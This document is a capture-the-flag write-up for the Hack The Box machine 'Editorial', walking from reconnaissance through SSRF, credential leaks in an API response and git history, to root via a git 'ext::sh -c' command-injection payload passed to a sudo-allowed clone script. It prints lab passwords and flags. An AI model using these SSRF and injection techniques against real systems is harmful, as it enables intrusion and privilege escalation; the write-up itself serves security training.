Skip to content
HTB • CTF • Editorial • Write-Up

HTB • CTF • Editorial • Write-Up

Published: at 06:23 PM

Table of contents

Open Table of contents

Info

CTF URL: https://app.hackthebox.com/machines/Editorial

IP: 10.10.11.20

Difficulty: Easy

Reconaisance

NMAP

nmap -p- -sS -sC -sV 10.10.11.20 -v --min-rate 10000

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB

Add to editorial.htb hosts file.

Dir

dirsearch -u http://editorial.htb/
# result
[17:50:17] 200 -    3KB - /about                                            
[17:51:27] 200 -    7KB - /upload 

/upload

This page has upload functionality. It takes as an input a file or a url.

Getting request

setup a listener:

nc -lvnp 1234

and enter as an input url: http://<yourIP>:1234. You will get:

GET / HTTP/1.1
Host: 10.10.14.9:1234
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

So, there is a python backend.

SSRF

Enter http://localhost as an input.

Port 5000

http://localhost:5000 returns a link to static image, downloading it we can find the following:

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

Checking API

/api/latest/metadata/messages/authors gives

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

Found credentials!

usernamepassword
devdev080217_devAPI!@

user.txt

We can login as dev user via ssh.

dev@editorial:~$ cat user.txt 
9d0d1725f4b7e77e63d0fa228c59e091

PrivEsc to prod

.git restore

a repo found

dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Aug  4 22:19 .git

We can check status

git status 
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    app_api/app.py
        deleted:    app_editorial/app.py
        deleted:    app_editorial/static/css/bootstrap-grid.css
        deleted:    app_editorial/static/css/bootstrap-grid.css.map
        deleted:    app_editorial/static/css/bootstrap-grid.min.css
...
        deleted:    app_editorial/static/js/bootstrap.min.js
        deleted:    app_editorial/static/js/bootstrap.min.js.map
        deleted:    app_editorial/templates/about.html
        deleted:    app_editorial/templates/index.html
        deleted:    app_editorial/templates/upload.html

we can restore

git restore app_editorial/app.py
git restore app_api/app.py

Some information about how backend works

/opt

some findings in /opt folder

ls /opt/
apps  internal_apps
# 
ls apps/
app_editorial
# 
ls internal_apps/
app_api  clone_changes  environment_scripts

environment_scripts/clear.sh

#!/bin/bash

find /opt/apps/app_editorial/static/uploads/. -exec rm -f {} \; 2>/dev/null

.git Commit History

Let’s return to git. Maybe something in History?

git log -p

it will reveal:

-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."

Found credentials for prod

usernamepassword
prod080217_Producti0n_2023!@

we can su prod now

PrivEsc to root

/opt

We now have access to the following:

prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py 
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Sudo Permissions

prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Exploit

Git needs to be exploited somehow. There is the following documentation:

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c echo% 1% >% /home/prod/1"
# it works

Now let’s craft some exploit

vim exploit.py
# import os; os.system("/bin/sh")

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /home/prod/exploit.py% >% /opt/internal_apps/clone_changes/clone_prod_change.py"

cat /opt/internal_apps/clone_changes/clone_prod_change.py
# import os; os.system("/bin/sh")

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 1
# and you become a root

root.txt

whoami
root

cat root.txt
b7f6c7ce258b754516701f59f8df3b0d

Result